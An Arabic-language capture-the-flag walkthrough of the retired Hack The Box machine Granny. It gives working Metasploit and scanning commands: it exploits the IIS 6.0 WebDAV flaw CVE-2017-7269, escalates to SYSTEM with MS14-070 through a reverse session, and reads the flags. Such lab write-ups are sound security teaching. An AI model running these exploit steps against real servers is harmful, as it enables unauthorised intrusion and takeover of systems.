اختراق صندوق الجدة (Granny) في Hack The Box: دليل شامل لاختبار الاختراق
تُعد منصة Hack The Box (HTB) بيئة تدريبية ممتازة تتيح للمهتمين بالأمن السيبراني صقل مهاراتهم في اختبار الاختراق. تحتوي المنصة على مجموعة واسعة من التحديات التي تُحدّث باستمرار، بعضها يحاكي سيناريوهات واقعية، بينما يميل البعض الآخر إلى أسلوب تحديات Capture The Flag (CTF). يركز هذا المقال على شرح تفصيلي لعملية اختراق آلة Granny، وهي إحدى الآلات المتقاعدة في HTB، مع الالتزام بقواعد المنصة التي تسمح بنشر شروحات الآلات المتقاعدة فقط.

تتشابه آلة Granny مع آلة Grandpa في إمكانية استغلالها بعدة طرق مختلفة، أبرزها الثغرة الأمنية واسعة الانتشار CVE-2017-7269. تُعد هذه الثغرة سهلة الاستغلال وقد منحت وصولاً فورياً لآلاف خوادم IIS حول العالم عند الكشف عنها. في هذا الدليل، سنستخدم مجموعة من الأدوات المتوفرة على نظام Kali Linux لاختراق هذه الآلة، وهي:
nmap(Network Mapper)SearchsploitdavtestMetasploitLocal exploit suggester
لنبدأ بتجهيز بيئة العمل. أولاً، سنضيف اسم المضيف granny.htb مع عنوان IP الخاص به إلى ملف /etc/hosts:
nano /etc/hosts
ثم نضيف السطر التالي:
10.10.10.15 granny.htb

الخطوة 1: الاستطلاع وجمع المعلومات (Reconnaissance)
تُعد مرحلة الاستطلاع وجمع المعلومات الخطوة الأولى والأكثر أهمية قبل محاولة استغلال أي نظام. كلما قضيت وقتاً أطول في هذه المرحلة، زادت فرصتك في اكتشاف نقاط ضعف قابلة للاستغلال. ستحدد المعلومات التي تجمعها المسار الذي ستتبعه لاحقاً.
فحص المنافذ باستخدام Nmap
سنستخدم أداة Nmap (Network Mapper)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمن. تستخدم Nmap حزم IP الأولية لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع جدران الحماية أو فلاتر الحزم المستخدمة، وعشرات الخصائص الأخرى. توجد العديد من الأوامر التي يمكنك استخدامها مع هذه الأداة لفحص الشبكة. لمزيد من المعلومات، يمكنك الرجوع إلى توثيق Nmap.

لإجراء فحص مكثف وشامل، سنستخدم الأمر التالي:
nmap -A -v granny.htb
-A: تفعيل اكتشاف نظام التشغيل، اكتشاف الإصدارات، فحص السكربتات، وتتبع المسار (traceroute).-v: زيادة مستوى التفاصيل (verbosity).granny.htb: اسم المضيف لآلة Granny.
إذا كانت النتائج تبدو معقدة جداً، يمكنك استخدام أمر أبسط للحصول على المنافذ المفتوحة فقط:
nmap granny.htb

من نتائج الفحص، نلاحظ وجود منفذ مفتوح واحد فقط:
- المنفذ 80: يُستخدم غالباً لبروتوكول نقل النص التشعبي (
HTTP).
كما يتضح من ترويسة الخادم http-server-header، فإن الخادم يعمل بنظام IIS 6.0. تُعد خدمات معلومات الإنترنت (IIS)، التي كانت تُعرف سابقاً باسم Internet Information Server، برنامج خادم ويب قابل للتوسيع أنشأته شركة Microsoft للاستخدام مع عائلة أنظمة Windows NT. لمزيد من المعلومات، يمكنك زيارة صفحة IIS الرسمية.
تم تضمين IIS 6.0 (الاسم الرمزي “Duct Tape“) مع Windows Server 2003 وWindows XP Professional x64 Edition، وأضاف دعماً لـ IPv6 وتضمن نموذج عملية عامل جديد زاد من الأمان والموثوقية. تم تقديم HTTP.sys في IIS 6.0 كمستمع بروتوكول خاص بـ HTTP لطلبات HTTP.
نلاحظ أيضاً من عنوان HTTP (http-title) أن الموقع “قيد الإنشاء” (under construction) وأن هناك فحص http-webdav-scan يظهر جميع الطرق المسموح بها.
فحص WebDAV
سنستخدم سكربت Nmap آخر للحصول على مزيد من المعلومات. يرسل هذا السكربت طلب OPTIONS يسرد نوع dav، ونوع الخادم، والتاريخ، والطرق المسموح بها. ثم يرسل طلب PROPFIND ويحاول جلب الدلائل المكشوفة وعناوين IP الداخلية عن طريق مطابقة الأنماط في نص الاستجابة:
nmap --script http-webdav-scan -p80 granny.htb
يمكنك العثور على مزيد من المعلومات حول هذا السكربت على موقع Nmap.

WebDAV، أو Web Distributed Authoring and Versioning، هو امتداد لبروتوكول HTTP يسمح للعملاء بإجراء عمليات تأليف محتوى الويب عن بُعد. لمزيد من المعلومات، يمكنك زيارة صفحة WebDAV على ويكيبيديا. نلاحظ في قسم دعم الخادم أن Microsoft IIS يحتوي على وحدة WebDAV.
اختبار إمكانية رفع الملفات باستخدام davtest
سنستخدم أداة davtest للتحقق مما إذا كان بإمكاننا رفع الملفات إلى الخادم:

الأمر المستخدم هو:
davtest -url granny.htb

يبدو أننا لا نستطيع رفع الملفات مباشرةً عبر WebDAV.
البحث عن الثغرات الأمنية باستخدام Searchsploit
سنستخدم أداة Searchsploit للبحث عن أي ثغرات أمنية معروفة في IIS 6.0. تُعد Searchsploit أداة بحث سطر أوامر لقاعدة بيانات Exploit Database.

نستخدم الأمر التالي للبحث:
searchsploit iis 6.0

يمكننا الحصول على مزيد من التفاصيل حول الاستغلال باستخدام:
searchsploit -x 41738.py

يعتمد هذا الهجوم على سلسلة برمجة موجهة بالعودة (Return-oriented programming - ROP). تُعد ROP تقنية استغلال أمني تسمح للمهاجم بتنفيذ تعليمات برمجية في وجود دفاعات أمنية مثل حماية مساحة التنفيذ وتوقيع التعليمات البرمجية. يمكنك أيضاً التحقق من Exploit Database للعثور على الاستغلال.

https://www.exploit-db.com/search?q=iis+6.0

https://www.exploit-db.com/exploits/41738
من المهم أيضاً التحقق من قواعد بيانات الثغرات الوطنية مثل National Vulnerability Database (NVD) وCommon Vulnerabilities and Exposure (CVE).

https://nvd.nist.gov/vuln/detail/CVE-2017-7269


https://www.cvedetails.com/cve/CVE-2017-7269/
نلاحظ وجود وحدة Metasploit متاحة لهذه الثغرة:

https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl
الخطوة 2: زيارة الموقع واستغلال الثغرة
عند زيارة الموقع، لا نرى الكثير من المحتوى. ولكن من خلال وحدة تحكم المطورين (developer console)، يمكننا ملاحظة أنه مدعوم بإطار عمل ASP.NET.

سنستخدم الآن Metasploit، وهو إطار عمل لاختبار الاختراق يسهل عمليات الهجوم. يُعد أداة أساسية للعديد من المهاجمين والمدافعين على حد سواء.

سنقوم بتشغيل إطار عمل Metasploit على Kali Linux والبحث عن الأمر المناسب لتشغيل الاستغلال.

إذا استخدمنا الأمر searchsploit iis 6.0، فسنحصل على نفس الجدول الذي رأيناه سابقاً في الطرفية. ولكن إذا كتبنا search iis 6.0 داخل Metasploit، فسنحصل على 174 نتيجة.

الاستغلال الذي يهمنا هو الرقم 147 في هذه القائمة. للحصول على مزيد من المعلومات حول الاستغلال، يمكنك استخدام الأمر التالي:
info exploit/windows/iis/iis_webdav_scstoragepathfromurl

سنستخدم الأمر التالي لتحديد الاستغلال:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
قبل تشغيل الاستغلال، نحتاج إلى إعداد الخيارات. نتحقق من الخيارات المتاحة باستخدام:
show options

نقوم بتعيين المضيف الهدف (RHOSTS) باستخدام الأمر التالي:
set RHOSTS granny.htb
عند التحقق من الخيارات مرة أخرى، نجد أن RHOSTS قد تم تعيينه بنجاح:

نتحقق مما إذا كان الهدف قابلاً للاستغلال باستخدام:
check
ثم نشغل الاستغلال باستخدام الأمر:
exploit

وبذلك نحصل على جلسة Meterpreter. وفقاً لـ Offensive Security، فإن Meterpreter هو حمولة متقدمة وقابلة للتوسيع ديناميكياً تستخدم حقن مكتبات DLL في الذاكرة وتتوسع عبر الشبكة في وقت التشغيل. تتواصل عبر مقبس المُرحّل وتوفر واجهة برمجة تطبيقات Ruby شاملة من جانب العميل. تتميز بسجل الأوامر، والإكمال التلقائي بالضغط على Tab، والقنوات، والمزيد. يمكنك قراءة المزيد حول Meterpreter هنا.
تجميع المعلومات ورفع الامتيازات الأولية
لنبدأ بجمع بعض المعلومات. يحاول الأمر getuid إرجاع معرف المستخدم الحقيقي للعملية التي يتم استدعاؤها. يبدو أن الجلسة التي حصلنا عليها لا تملك امتيازات كافية لتشغيل هذا الأمر، حيث يظهر “الوصول مرفوض” (Access is denied):

عند حدوث ذلك، نقوم بسرد العمليات الجارية باستخدام:
ps
ونختار عملية تعمل تحت حساب NT AUTHORITY\NETWORK SERVICE:

سننتقل إلى العملية رقم 792 باستخدام:
migrate 792

الآن، عند التحقق من getuid، نحصل على:
Server username: NT AUTHORITY\NETWORK SERVICE

هذه هي الجلسة التي حصلنا عليها بعد الترحيل إلى عملية أخرى:

نكتب الأمر التالي للحصول على واجهة سطر أوامر (shell) قياسية على النظام المستهدف:
shell

نتحقق من هوية المستخدم على الجهاز باستخدام الأمر:
whoami

نحصل على مزيد من المعلومات حول الجهاز باستخدام:
systeminfo

نتنقل إلى الجذر C:\:

ثم إلى مجلد Documents and Settings باستخدام:
cd "Documents and Settings"

يمكننا رؤية مستخدمين اثنين: Administrator وLakis. نحاول التنقل إلى مجلد Lakis، ولكن يتم رفض الوصول. ينطبق الأمر نفسه على مجلد Administrator، وهو أمر متوقع لأننا لا نملك وصولاً جذرياً بعد.

نخرج من واجهة الأوامر (shell) باستخدام الأمر:
exit

الخطوة 3: استخدام أداة Local Exploit Suggester
سنقوم الآن بتشغيل أداة local exploit suggester. تقترح هذه الأداة استغلالات محتملة بناءً على بنية النظام الأساسي الذي لدينا فيه واجهة أوامر (shell) مفتوحة، بالإضافة إلى الاستغلالات المتاحة في Meterpreter.
run post/multi/recon/local_exploit_suggester

سنستخدم الاستغلال MS14-070. للبحث عن مزيد من المعلومات حوله في Metasploit، نستخدم:
info exploit/windows/local/ms14_070_tcpip_ioctl

وكذلك على موقع Rapid7:

https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl
الخطوة 4: استخدام MS14-070 لرفع الامتيازات
سنضع هذه الجلسة في الخلفية باستخدام الأمر:
background

ثم نشغل الأمر التالي لاستخدام الاستغلال الذي وجدناه:
use exploit/windows/local/ms14_070_tcpip_ioctl

بعد ذلك، نتحقق من خيارات هذا الاستغلال:

نقوم بتعيين الجلسة (SESSION) باستخدام:
set SESSION 1

ثم نشغل الاستغلال باستخدام:
run

لقد نجح الاستغلال، لكننا لم نحصل على واجهة أوامر (shell) جديدة. نتحقق من الخيارات مرة أخرى:

ونقوم بتعيين المضيف المحلي (LHOST) إلى عنوان IP الخاص بنا (مثلاً: 10.10.14.36):
set LHOST 10.10.14.36

ثم نشغل الاستغلال مرة أخرى باستخدام:
exploit

يؤكد هذا أن الاستغلال قد نجح، لكننا ما زلنا لا نحصل على واجهة أوامر جديدة. نتحقق من الجلسات باستخدام:
sessions -l
يجب أن نرى جلسة تعمل بامتيازات NT AUTHORITY\SYSTEM، وهو ليس الحال الآن.

لذا، نعود إلى الجلسة رقم 1 باستخدام:
sessions -i 1

عند التحقق من getuid، نحصل على NT AUTHORITY\SYSTEM مجدداً. نحصل على واجهة أوامر (shell) قياسية على النظام المستهدف ونتحقق من هويتنا على الجهاز. نعود إلى NT AUTHORITY\NETWORK SERVICE، وهو ليس ما نريده! نخرج من هذه الواجهة ونتحقق من العمليات. يمكننا أن نرى أن لدينا وصولاً إدارياً على الجهاز. نحتاج فقط إلى الترحيل إلى عملية أخرى، وهو ما نفعله باستخدام:
migrate 408

نعود إلى واجهة الأوامر القياسية على النظام المستهدف. وعند التحقق من هويتنا على الجهاز، نصبح أخيراً مسؤولين (admin)!
الخطوة 5: البحث عن علم المستخدم (user.txt)
نتنقل إلى مجلد Lakis من مجلد Documents and Settings. يمكننا سرد جميع الملفات/المجلدات باستخدام الأمر التالي:
dir
ثم ننتقل إلى مجلد Desktop:

وهنا نجد علم المستخدم (user flag)! يمكننا التحقق من محتويات الملف باستخدام:
type user.txt
الخطوة 6: البحث عن علم الجذر (root.txt)
لنبحث عن علم الجذر الآن! ننتقل إلى مجلد Users ثم إلى مجلد Administrator / Desktop. ونجد العلم!

نستخدم الأمر التالي لرؤية محتوى الملف:
type root.txt

تهانينا! لقد عثرت على كلا العلمين بنجاح!

الخلاصة التقنية
يمثل اختراق آلة Granny في Hack The Box سيناريو كلاسيكياً لاختبار الاختراق، حيث يعتمد بشكل أساسي على استغلال ثغرة CVE-2017-7269 في خوادم IIS 6.0 WebDAV. تُظهر هذه العملية أهمية مرحلة الاستطلاع الشامل باستخدام أدوات مثل Nmap لتحديد الخدمات ونقاط الضعف المحتملة. كما تبرز دور Metasploit كإطار عمل قوي لتنفيذ الاستغلالات ورفع الامتيازات، خاصة عند الحاجة إلى الترحيل بين العمليات للحصول على الامتيازات المطلوبة (من NETWORK SERVICE إلى SYSTEM). هذا التحدي يعزز فهمنا لكيفية استغلال الثغرات المعروفة في أنظمة التشغيل القديمة وضرورة تحديث الأنظمة بانتظام لسد الثغرات الأمنية.